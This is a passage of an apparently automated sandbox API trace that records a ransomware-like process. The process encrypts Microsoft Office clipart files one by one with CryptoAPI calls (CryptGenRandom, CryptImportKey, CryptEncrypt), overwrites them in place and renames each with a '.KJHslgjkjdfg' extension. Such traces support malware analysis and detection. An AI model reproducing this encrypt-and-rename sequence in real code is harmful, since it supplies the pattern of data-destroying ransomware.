lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.924] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.924] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.924] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.924] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.924] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.924] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.924] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.924] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1510, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1510, lpOverlapped=0x0) returned 1 [0195.925] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1510, dwBufLen=0x1510 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1510) returned 1 [0195.925] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.926] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1510, lpOverlapped=0x0) returned 1 [0195.926] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.926] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x15e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.926] SetEndOfFile (hFile=0x130) returned 1 [0196.005] GetProcessHeap () returned 0x2ef0000 [0196.006] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.006] GetProcessHeap () returned 0x2ef0000 [0196.006] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.006] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf.kjhslgjkjdfg")) returned 1 [0196.007] CloseHandle (hObject=0x130) returned 1 [0196.007] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x670, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD02158_.WMF", cAlternateFileName="")) returned 1 [0196.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.008] GetProcessHeap () returned 0x2ef0000 [0196.008] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.008] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.008] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.008] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.008] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.008] GetProcessHeap () returned 0x2ef0000 [0196.008] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.008] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.008] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.008] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.071] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.071] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.072] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.072] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.072] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.072] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.072] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.072] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.072] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x670, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x670, lpOverlapped=0x0) returned 1 [0196.072] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x670, dwBufLen=0x670 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x670) returned 1 [0196.072] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.072] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x670, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x670, lpOverlapped=0x0) returned 1 [0196.073] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.073] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.073] SetEndOfFile (hFile=0x130) returned 1 [0196.075] GetProcessHeap () returned 0x2ef0000 [0196.075] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.076] GetProcessHeap () returned 0x2ef0000 [0196.076] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.076] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf.kjhslgjkjdfg")) returned 1 [0196.077] CloseHandle (hObject=0x130) returned 1 [0196.077] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD02161_.WMF", cAlternateFileName="")) returned 1 [0196.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.078] GetProcessHeap () returned 0x2ef0000 [0196.078] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.078] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.079] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.079] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.143] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.143] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.143] GetProcessHeap () returned 0x2ef0000 [0196.143] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.143] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.143] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.143] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.143] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.144] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.144] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.144] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.144] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.144] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.144] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.144] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.144] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xc38, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xc38, lpOverlapped=0x0) returned 1 [0196.144] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc40, dwBufLen=0xc40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc40) returned 1 [0196.144] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.144] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xc40, lpOverlapped=0x0) returned 1 [0196.144] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.144] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.144] SetEndOfFile (hFile=0x130) returned 1 [0196.147] GetProcessHeap () returned 0x2ef0000 [0196.147] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.147] GetProcessHeap () returned 0x2ef0000 [0196.147] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.147] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf.kjhslgjkjdfg")) returned 1 [0196.148] CloseHandle (hObject=0x130) returned 1 [0196.148] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x32b5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FINCL_01.MID", cAlternateFileName="")) returned 1 [0196.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.150] GetProcessHeap () returned 0x2ef0000 [0196.150] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.150] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.150] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.150] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xb, lpOverlapped=0x0) returned 1 [0196.152] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.152] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.152] GetProcessHeap () returned 0x2ef0000 [0196.152] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.152] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.152] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.152] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.153] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.153] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.153] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.153] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.153] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.153] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.153] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.153] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.153] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x32b5, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x32b5, lpOverlapped=0x0) returned 1 [0196.155] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x32c0, dwBufLen=0x32c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x32c0) returned 1 [0196.155] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.155] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x32c0, lpOverlapped=0x0) returned 1 [0196.155] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.155] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.155] SetEndOfFile (hFile=0x130) returned 1 [0196.157] GetProcessHeap () returned 0x2ef0000 [0196.157] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.158] GetProcessHeap () returned 0x2ef0000 [0196.158] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.158] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid.kjhslgjkjdfg")) returned 1 [0196.159] CloseHandle (hObject=0x130) returned 1 [0196.159] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2466, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FINCL_02.MID", cAlternateFileName="")) returned 1 [0196.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.160] GetProcessHeap () returned 0x2ef0000 [0196.160] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.160] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.160] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.160] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0196.162] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.162] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.162] GetProcessHeap () returned 0x2ef0000 [0196.162] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.162] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.162] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.162] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.162] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.162] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.163] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.163] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.163] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.163] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 